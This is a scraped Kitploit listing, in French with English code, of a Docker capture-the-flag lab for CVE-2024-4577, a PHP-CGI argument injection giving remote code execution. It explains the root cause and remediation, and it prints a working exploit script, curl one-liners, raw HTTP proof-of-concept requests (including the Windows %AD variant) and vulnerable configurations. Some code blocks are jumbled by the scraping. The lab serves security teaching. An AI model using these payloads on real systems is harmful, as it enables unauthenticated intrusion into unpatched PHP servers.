Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/khwajasaad267-coder/cve-2024-4577-lab
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubkhwajasaad267-coder/cve-2024-4577-lab

cve-2024-4577-lab

# Laboratoire CTF basé sur Docker démontrant CVE-2024-4577, une injection d'arguments PHP-CGI menant à une exécution de code à distance (RCE). Inclut un CGI PHP 5.4.1 vulnérable, des scripts d'exploitation et la récupération du flag.

Voir le dépôt
8il y a 21 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-4577 — Injection d'arguments PHP-CGI → RCE (Lab Docker / CTF)

Un lab Docker autonome, entièrement construit de zéro, qui démontre la primitive réelle d'injection d'arguments → Exécution de code à distance derrière CVE-2024-4577. Exploitez-la via http://localhost:8080, obtenez un shell, et lisez le flag depuis l'intérieur du conteneur.

Il s'agit d'une vulnérabilité réelle, pas d'une simulation. Le conteneur compile un binaire PHP 5.4.1 CGI non patché et le connecte derrière Apache exactement comme les hôtes vulnérables réels sont configurés. Il n'y a aucun faux "if password == flag" nulle part — la seule façon d'obtenir le flag est de réellement parvenir à une exécution de code.


⚠️ À lire en premier — Linux vs. Windows (important et honnête)

La charge utile signature de CVE-2024-4577 utilise %AD (un trait d'union conditionnel). Cette astuce ne fonctionne que sur Windows, car l'encodage de caractères "Best-Fit" de Windows convertit l'octet 0xAD en un vrai - () que le patch CVE-2012-1823 de PHP ait déjà vérifié la chaîne de requête. Cette conversion d'encodage est effectuée par — elle dans un conteneur Docker Linux normal.

``` ## `config/php.ini````ini ; --------------------------------------------------------------------------- ; Minimal php.ini for the CVE-2024-4577 / CVE-2012-1823 lab. ; Read by php-cgi from PHP_CONFIG_FILE_PATH (/usr/local/lib) at startup. ; ---------------------------------------------------------------------------
0x2D
après
Windows lui-même
ne se produit pas

Ainsi, un lab Linux fidèle et exécutable sur votre machine reproduit la même primitive RCE exacte — injection d'options php-cgi via l'URL → -d auto_prepend_file=php://input → exécution de code — en utilisant la forme littérale - (qui est le bug parent de CVE-2024-4577, CVE-2012-1823). La seule différence par rapport à une cible Windows réelle de CVE-2024-4577 est la couche de contournement d'encodage %AD→-, que ce README documente intégralement (voir Comment ça fonctionne et poc.http).

Ce lab LinuxCVE-2024-4577 réel (Windows)
Composant vulnérablephp-cgiphp-cgi
Primitive RCE-d auto_prepend_file=php://inputidentique
Délimiteur dans l'URL- littéral%AD (best-fit → -)
Contourne le patch de 2012 ?N/A (PHP antérieur au patch)Oui, via le best-fit Windows
Fonctionne sur Win 11 Home + Docker Desktop✅❌ (nécessite des conteneurs Windows)

Si vous avez spécifiquement besoin de la reproduction Windows bit pour bit avec %AD, vous avez besoin d'un hôte Docker capable de conteneurs Windows (Windows Server / Win Pro + Hyper-V) — cela ne fonctionnera pas sur Windows 11 Home. La charge utile Windows est incluse dans poc.http pour référence.


1. Description de la CVE

CVE-2024-4577 — Injection d'arguments CGI PHP menant à une exécution de code à distance. Découverte par DEVCORE (Orange Tsai / Angelboy), divulguée le 2024-06-06.

Lorsque PHP est déployé en mode CGI (ou que le binaire php-cgi.exe est autrement accessible) sur Windows avec certains paramètres régionaux du système (chinois traditionnel/simplifié, japonais, et autres), le serveur web transmet la chaîne de requête HTTP à php-cgi comme arguments de ligne de commande. Un attaquant peut faire passer en contrebande des options de ligne de commande php-cgi (-d ...) dans cette chaîne de requête. La conversion de page de codes best-fit de Windows transforme l'octet de trait d'union conditionnel 0xAD (%AD) en trait d'union ASCII -, ce qui contourne le durcissement CVE-2012-1823 et permet à l'attaquant de définir des directives INI PHP arbitraires — le plus utile étant auto_prepend_file=php://input avec allow_url_include=1, ce qui exécute le corps de requête fourni par l'attaquant comme du PHP. Résultat : exécution de code à distance sans authentification. Elle a été exploitée dans la nature en quelques jours (par ex. le rançongiciel TellYouThePass).

2. Cause racine

  1. CGI transmet la chaîne de requête comme argv. Selon la RFC 3875, si la chaîne de requête d'une requête CGI ne contient aucun = non encodé, le serveur la divise sur +, décode chaque mot en URL, et transmet les mots au programme CGI comme arguments de ligne de commande. php-cgi reçoit donc un argv contrôlé par l'attaquant.

  2. php-cgi analyse ces argv comme des options. Historiquement, php-cgi interprétait -d key=value, -T, etc. depuis cet argv. Fournir -d allow_url_include=1 -d auto_prepend_file=php://input fait exécuter à PHP le corps de la requête comme du code → CVE-2012-1823.

  3. Le correctif de CVE-2012-1823 est incomplet sur Windows. Le patch de 2012 a ajouté une protection dans sapi/cgi/cgi_main.c : en gros "si la chaîne de requête (brute) commence par - et ne contient pas de =, ignorer l'analyse des options (skip_getopt)." Un attaquant envoyant un - littéral est désormais bloqué.

  4. L'encodage best-fit neutralise la protection (le bug de 2024). Sur Windows, PHP convertit la ligne de commande en utilisant la page de codes locale avec le mappage best-fit activé. L'attaquant envoie %AD (octet 0xAD, trait d'union conditionnel). Au moment de la vérification de la protection, le premier octet est 0xAD, pas -, donc skip_getopt n'est pas défini. Plus tard, lorsque PHP construit réellement l'argv, le mappage best-fit de Windows convertit 0xAD → -, donc getopt voit maintenant -d. L'injection d'options se déclenche après la vérification censée l'arrêter. Cet ordre vérification-puis-conversion constitue l'intégralité de la vulnérabilité.

Dans ce lab Linux, les étapes 1–2 sont reproduites exactement avec un php-cgi antérieur au patch de l'étape 3, donc la forme littérale - fonctionne et démontre la RCE identique. L'étape 4 est la couche propre à Windows, documentée mais non exécutée (Linux n'a pas de conversion best-fit).

3. Versions affectées (CVE-2024-4577 réelle)

Corrigée dans 8.3.8, 8.2.20, 8.1.29. Par conséquent, vulnérables :

  • PHP 8.3.0 – 8.3.7
  • PHP 8.2.0 – 8.2.19
  • PHP 8.1.0 – 8.1.28
  • PHP 8.0.x, 7.x, 5.x — en fin de vie, non patchées, également affectées

Conditions : système d'exploitation Windows ; PHP fonctionnant en CGI ou php-cgi.exe exposé (la configuration par défaut XAMPP sur Windows est vulnérable) ; un paramètre régional affecté pour le chemin best-fit. (Le bug parent CVE-2012-1823 — la primitive que ce lab exécute — affecte tout système d'exploitation exécutant un php-cgi antérieur au correctif de 2012 dans cette configuration.)

4. Structure du projet```

cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file

root@kitploit:~
## 5. Prérequis

- **Docker Desktop** (Windows/macOS) ou Docker Engine (Linux).
  Windows 11 Famille : installez Docker Desktop avec le backend **WSL 2** (par défaut).
  → https://www.docker.com/products/docker-desktop/
- `curl` pour l'exploitation (`curl.exe` est intégré à Windows 10/11 ; également dans
  Git Bash / WSL / macOS / Linux).
- Accès Internet **pendant la construction** (télécharge le code source de PHP 5.4.1).

## 6. Instructions de construction

Ouvrez un terminal dans le dossier `cve-2024-4577-lab/`.

### Option A — docker compose (recommandé)```bash
docker compose up --build -d

Option B — docker simple

Commande de construction docker :```bash docker build -t cve-2024-4577-lab .

root@kitploit:~
**commande docker run :**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

La compilation construit PHP à partir des sources (~2 à 5 min la première fois). Si elle échoue sur votre machine (hors ligne, pas de chaîne d'outils, museum.php.net bloqué), utilisez l'image de base de secours :

root@kitploit:~
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

7. Comment vérifier le service```bash

curl -s http://localhost:8080/ | head -n 20

root@kitploit:~
Vous devriez voir le HTML du **portail de statut interne ACME**, et surtout :```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>

SAPI: cgi-fcgi (c'est-à-dire servi via php-cgi) confirme que le composant vulnérable se trouve dans le chemin de la requête. Vérifiez également les journaux :```bash docker logs cve-2024-4577-lab

root@kitploit:~
## 8. Étapes d'exploitation

La chaîne de requête injectée (encodée en URL afin qu'Apache ne voie **aucun `=` littéral** et
la traite donc comme un argv CGI) :```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

which php-cgi analyse comme suit :``` -d allow_url_include=1 -d auto_prepend_file=php://input

root@kitploit:~
Le **corps de la requête** devient du code source PHP (lu via `php://input`) et s’exécute
*avant* `index.php`.

### 8a. Le plus simple — exécuter le script```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

8b. Manuel — une seule ligne curl (Linux / macOS / Git Bash / WSL / Windows curl.exe)```bash

curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

root@kitploit:~
> Sur **Windows PowerShell**, utilisez `curl.exe` explicitement (le `curl` de PowerShell est
> un alias pour `Invoke-WebRequest` et altère la chaîne de requête) :
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
>   --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
>   "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```

### 8c. Manuel — HTTP brut (Burp Repeater)

Voir [`poc.http`](#poc-http). Collez la requête n°1 dans Burp Repeater et envoyez-la.

## 9. Sortie attendue```
[*] Target    : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command   : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.

La ligne uid=33(www-data) prouve une exécution arbitraire de commandes système en tant qu'utilisateur du serveur web — il s'agit d'une véritable exécution de code, et non d'une chaîne imprimée.

10. Comment récupérer le flag

Le flag se trouve dans /flag.txt à l'intérieur du conteneur — en dehors de la racine web (/var/www/html), il n'est donc pas accessible via HTTP. La seule façon de le lire est d'exécuter une commande via la RCE :```bash bash exploit.sh http://localhost:8080 "cat /flag.txt"

root@kitploit:~
Drapeau :```
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

(Dans un vrai CTF, on ne vous donnerait pas le chemin — vous lanceriez ls -la / via le RCE pour le trouver. Essayez bash exploit.sh http://localhost:8080 "ls -la /".)

11. Commandes de nettoyage```bash

compose

docker compose down

plain docker

docker stop cve-2024-4577-lab docker rm cve-2024-4577-lab # only if you did NOT use --rm

remove the image entirely

docker rmi cve-2024-4577-lab

nuke build cache too (optional)

docker builder prune -f

root@kitploit:~
---

## 🔬 Comment fonctionne l'exploit, étape par étape

1. **Client → Apache.** Vous envoyez
   `POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input`
   avec une charge utile PHP dans le corps de la requête.

2. **Routage Apache.** `AddHandler application/x-httpd-php .php` +
   `Action application/x-httpd-php /cgi-bin/php-cgi` acheminent la requête vers
   le binaire **php-cgi** (mod_actions + mod_cgi).

3. **Chaîne de requête → argv (la règle CGI).** Le `mod_cgi` d'Apache voit que
   la chaîne de requête ne contient **aucun `=` non encodé** (nous avons envoyé
   `%3d`, pas `=`), donc conformément à la RFC 3875, il divise sur `+`,
   décode chaque mot en URL, et les transmet à php-cgi comme `argv` :
   `-d`, `allow_url_include=1`, `-d`, `auto_prepend_file=php://input`.

4. **php-cgi analyse les options injectées.** Ce php-cgi (5.4.1, avant le
   correctif de 2012) n'a **pas de garde `skip_getopt`**, il traite donc
   volontiers les options `-d` :
   - `allow_url_include=1` — autorise l'inclusion de PHP depuis des wrappers de flux.
   - `auto_prepend_file=php://input` — avant d'exécuter le script demandé,
     inclut et exécute le **corps de la requête** comme PHP.

5. **Le corps s'exécute comme du code.** `php://input` est votre corps POST,
   `<?php system('id; cat /flag.txt'); die(); ?>`. Il s'exécute en tant
   qu'utilisateur Apache (`www-data`), exécute la commande système, affiche sa
   sortie, et appelle `die()` avant même que `index.php` ne s'exécute.

6. **Exfiltration du drapeau.** `system('cat /flag.txt')` lit `/flag.txt`
   (lisible par `www-data`) et le renvoie dans la réponse HTTP.

### Pourquoi la vulnérabilité existe (le « pourquoi » plus profond)

- **Le CGI confond *arguments* et *entrée utilisateur*.** La convention CGI des
  années 1990 qui transforme une chaîne de requête en `argv` a été conçue pour
  les scripts de recherche `<ISINDEX>`. La pointer vers un interpréteur comme
  `php-cgi`, dont les `argv` sont de puissants commutateurs de configuration,
  est une erreur de catégorie : des données contrôlées par l'utilisateur
  deviennent la configuration du programme.

- **`-d` est une injection INI à distance.** `php-cgi -d nom=valeur` remplace
  *n'importe quelle* directive INI à l'exécution, en écrasant même un
  `php.ini` durci. `auto_prepend_file` + `allow_url_include` + le wrapper
  `php://input` se combinent en « exécuter le corps de la requête », c'est-à-dire
  une exécution de code à distance (RCE).

- **CVE-2024-4577 spécifiquement** existe parce que le correctif de
  CVE-2012-1823 vérifie la chaîne de requête pour un `-` initial **avant** que
  Windows n'effectue sa **conversion d'encodage best-fit**. L'attaquant envoie
  `%AD` (trait d'union conditionnel) ; ce n'est pas `-` lorsque la vérification
  s'exécute, donc la garde passe, mais Windows mappe ensuite en best-fit
  `0xAD → 0x2D (-)`, réintroduisant le `-` après le contrôle. **Ordre
  vérification-puis-transformation** + un encodage dépendant de la locale et
  avec perte = un contournement du correctif.

---

## 🛡️ Pourquoi ce défi résiste au « devine simplement le drapeau » / aux raccourcis IA

- Le drapeau n'est **pas dans la racine web** et n'est **pas référencé par
  `index.php`**, donc aucun crawl, fuzzing ou lecture du code source de
  l'application ne le révèle.
- Il n'y a **aucune porte dérobée logique** (pas de `if (input === flag)`),
  donc un résolveur ne peut pas inverser une comparaison — le drapeau n'apparaît
  que dans la sortie standard d'un processus **après une véritable exécution de
  commande système**.
- Le récupérer **exige de réaliser l'exploit d'injection d'arguments réel** :
  encoder correctement `=` en `%3d`, garder `-` comme délimiteur d'option, et
  livrer la charge utile via `php://input`. Faites une erreur à n'importe quelle
  étape et vous obtenez la page ACME bénigne, pas le drapeau.
- Le jeton est une **chaîne aléatoire à haute entropie**, pas un mot devinable.

---

## Remédiation dans le monde réel

- Mettez à jour PHP vers **≥ 8.3.8 / 8.2.20 / 8.1.29**.
- **Ne faites pas tourner PHP en CGI.** Utilisez PHP-FPM / mod_php.
- Sur Windows/XAMPP, supprimez les mappages `ScriptAlias`/handlers qui exposent
  `php-cgi.exe` ; bloquez les requêtes où la chaîne de requête commence par un
  trait d'union conditionnel encodé ; refusez `%AD` dans la chaîne de requête au
  niveau du WAF.
- Détection : journaux web avec chaînes de requête contenant `%AD`,
  `auto_prepend_file`, `allow_url_include`, ou `php://input`.

---

# ANNEXE — chaque fichier, en intégralité

Tout ce qui suit est la source complète de chaque fichier, afin que ce document
unique soit entièrement autonome.

## `Dockerfile````dockerfile
# =============================================================================
#  CVE-2024-4577 LAB  —  PHP-CGI argument injection -> Remote Code Execution
#  Linux reproduction of the argument-injection primitive that CVE-2024-4577
#  revives on Windows. (See README.md, section "Linux vs. Windows".)
#
#  Strategy: compile the *unpatched* PHP 5.4.1 CGI SAPI from source. 5.4.1
#  predates the CVE-2012-1823 fix, so php-cgi accepts command-line options
#  (-d ...) supplied through the HTTP query string. Apache hands the query
#  string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->
#  auto_prepend_file=php://input -> RCE. This is the exact primitive that
#  CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.
# =============================================================================
FROM debian:bullseye

ENV DEBIAN_FRONTEND=noninteractive
ENV PHP_VERSION=5.4.1

# ---- 1. Build toolchain + Apache -------------------------------------------
RUN set -eux; \
    apt-get update; \
    apt-get install -y --no-install-recommends \
        ca-certificates wget bzip2 xz-utils \
        build-essential pkg-config autoconf \
        libxml2-dev \
        apache2; \
    rm -rf /var/lib/apt/lists/*

# ---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------
#   CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks
#                     linking of old PHP's tentative-definition globals.
#   touch <files>   : keep the tarball's PRE-GENERATED parser/scanner files
#                     newer than their .y/.l sources so `make` never invokes
#                     bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).
RUN set -eux; \
    cd /usr/src; \
    ( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz" \
      || wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" ); \
    tar -xf php.tar; \
    cd "php-${PHP_VERSION}"; \
    for f in \
        Zend/zend_language_parser.c Zend/zend_language_parser.h \
        Zend/zend_language_scanner.c \
        Zend/zend_ini_parser.c Zend/zend_ini_parser.h \
        Zend/zend_ini_scanner.c \
        ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c \
        ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do \
        if [ -f "$f" ]; then touch "$f"; fi; \
    done; \
    CFLAGS="-O2 -fcommon" ./configure \
        --enable-cgi \
        --disable-all \
        --without-pear; \
    make -j"$(nproc)"; \
    make install; \
    cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi; \
    chmod 0755 /usr/lib/cgi-bin/php-cgi; \
    /usr/local/bin/php-cgi -v; \
    cd /; rm -rf /usr/src/php*

# ---- 3. PHP + Apache configuration -----------------------------------------
COPY config/php.ini               /usr/local/lib/php.ini
COPY config/apache-vhost.conf     /etc/apache2/sites-available/000-default.conf

RUN set -eux; \
    a2dismod mpm_event mpm_worker || true; \
    a2enmod mpm_prefork cgi actions alias; \
    printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf; \
    a2enconf servername

# ---- 4. Application + flag ---------------------------------------------------
COPY app/index.php  /var/www/html/index.php
COPY flag.txt       /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php

# ---- 5. Launch ---------------------------------------------------------------
COPY start.sh /start.sh
# Strip any CR (in case the file was saved with Windows CRLF endings) and make
# it executable, so the entrypoint runs regardless of how it was checked out.
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]

`Dockerfile.vulhub````dockerfile

=============================================================================

FALLBACK Dockerfile — use ONLY if the from-source build in ./Dockerfile

fails on your machine (e.g. no build toolchain, offline, museum.php.net

unreachable).

It bases on Vulhub's pre-compiled PHP 5.4.1 CGI image, which already wires

Apache + php-cgi in the same vulnerable way, then drops in our app + flag.

To use it:

docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .

docker run --rm -p 8080:80 cve-2024-4577-lab

or edit docker-compose.yml: dockerfile: Dockerfile.vulhub

NOTE: this pulls a third-party base image, so it is less "from scratch"

than ./Dockerfile. The exploit and README steps are identical.

=============================================================================

FROM vulhub/php:5.4.1-cgi

COPY app/index.php /var/www/html/index.php COPY flag.txt /flag.txt RUN chmod 0644 /flag.txt /var/www/html/index.php EXPOSE 80

root@kitploit:~
## `docker-compose.yml````yaml
# docker-compose.yml — CVE-2024-4577 lab
# Run with:  docker compose up --build
services:
  web:
    build:
      context: .
      dockerfile: Dockerfile          # <- swap to Dockerfile.vulhub if the source build fails
    image: cve-2024-4577-lab:latest
    container_name: cve-2024-4577-lab
    ports:
      - "8080:80"                      # host 8080 -> container 80
    restart: unless-stopped

`config/apache-vhost.conf````apache

<VirtualHost *:80> ServerName localhost DocumentRoot /var/www/html

root@kitploit:~
# ---------------------------------------------------------------------
# Expose the (vulnerable) php-cgi binary as a CGI script.
# ---------------------------------------------------------------------
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
    AllowOverride None
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Require all granted
</Directory>

# ---------------------------------------------------------------------
# Route every *.php request through php-cgi via mod_actions.
#
# THE BUG:  Per the CGI spec, when a query string contains no unencoded
# '=' , Apache splits it on '+' and passes the words to the CGI program
# as command-line arguments (argv). Because this php-cgi (5.4.1) predates
# the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
# attacker can inject  -d <ini>=<value>  straight from the URL.
# ---------------------------------------------------------------------
<Directory /var/www/html>
    Options +ExecCGI FollowSymLinks
    AddHandler application/x-httpd-php .php
    Action application/x-httpd-php /cgi-bin/php-cgi
    DirectoryIndex index.php
    Require all granted
</Directory>

ErrorLog  ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

; php-cgi refuses to run under a web server unless force_redirect is satisfied. ; Turning it off keeps the CGI SAPI happy behind Apache's Action handler. cgi.force_redirect = 0 cgi.fix_pathinfo = 1

display_errors = On display_startup_errors = On log_errors = On

; Realistic defaults. Note allow_url_include is OFF here on purpose — the ; exploit RE-ENABLES it at runtime through the injected -d allow_url_include=1 ; option, which is the whole point of the argument-injection primitive. allow_url_fopen = On allow_url_include = Off

short_open_tag = On

root@kitploit:~
## `start.sh````bash
#!/bin/bash
# ---------------------------------------------------------------------------
#  Container entrypoint: start Apache (with the vulnerable php-cgi) in the
#  foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e

# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars

mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"

echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="

exec apache2 -D FOREGROUND

`exploit.sh````bash

#!/usr/bin/env bash

===========================================================================

exploit.sh - CVE-2024-4577 / CVE-2012-1823 php-cgi argument-injection RCE

Usage: ./exploit.sh [target_url] [shell_command]

Examples:

./exploit.sh

./exploit.sh http://localhost:8080

./exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

Requires bash + curl (curl.exe ships with Windows 10/11; also Git Bash,

WSL, macOS, Linux).

===========================================================================

set -euo pipefail

TARGET="${1:-http://localhost:8080}" CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"

Injected php-cgi command-line options, URL-encoded so Apache treats the

query string as CGI argv (it must contain NO literal '=' -> we send %3d):

-d allow_url_include=1 enable including php:// streams

-d auto_prepend_file=php://input run the request body as PHP first

QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'

PHP payload delivered in the request body and read back via php://input.

die() stops execution before index.php's HTML so the output stays clean.

BODY=""

echo "[] Target : ${TARGET}/index.php" echo "[] Injection : ?${QUERY}" echo "[] Command : ${CMD}" echo "[] Firing argument-injection request..." echo "-----------------------------------------------------------------"

curl -sS
-H 'Content-Type: text/plain'
--data-binary "${BODY}"
"${TARGET}/index.php?${QUERY}"

echo echo "-----------------------------------------------------------------" echo "[*] Success if you see FLAG{...} above."

root@kitploit:~
## `app/index.php````php
<?php
// ---------------------------------------------------------------------------
// index.php  —  an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>ACME Internal Status Portal</title>
    <style>
        body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
        code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
        .ok{color:#2a7f2a;font-weight:bold}
    </style>
</head>
<body>
    <h1>ACME Internal Status Portal</h1>
    <p>Service status: <span class="ok">ONLINE</span></p>
    <ul>
        <li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
        <li>PHP version: <code><?php echo phpversion(); ?></code></li>
        <li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
        <li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
    </ul>
    <p>Everything looks fine here. Nothing to see. &#128522;</p>
</body>
</html>

`poc.http````http

###############################################################################

Raw HTTP PoC requests. Paste into Burp Repeater, or replay with any client.

(Content-Length is recalculated automatically by Burp/Repeater.)

###############################################################################

1) LINUX LAB PAYLOAD — works against this container.

PHP 5.4.1 is pre-CVE-2012-1823-fix, so a LITERAL '-' is accepted.

POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 Host: localhost:8080 Content-Type: text/plain Content-Length: 44 Connection: close

2) REAL-WORLD CVE-2024-4577 PAYLOAD — WINDOWS TARGETS ONLY.

0xAD (soft hyphen, %AD) is best-fit-converted to '-' by Windows AFTER the

CVE-2012-1823 patch's check runs, so it BYPASSES the fix. This does NOT

trigger on the Linux container (Linux has no best-fit conversion).

POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim-windows Content-Type: text/plain Content-Length: 30 Connection: close

root@kitploit:~
## `flag.txt````
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

Références

  • Avis DEVCORE — « CVE-2024-4577 · Injection d'arguments CGI PHP » (juin 2024).
  • Correctifs de sécurité PHP pour les versions 8.1.29 / 8.2.20 / 8.3.8 (sapi/cgi/cgi_main.c).
  • CVE-2012-1823 — le bug d'injection d'arguments parent que ce laboratoire reproduit.
  • RFC 3875 — The Common Gateway Interface (CGI) Version 1.1, §4.4 (ligne de commande).

Réservé à un usage autorisé d'éducation en sécurité / CTF uniquement.

Télécharger l’outil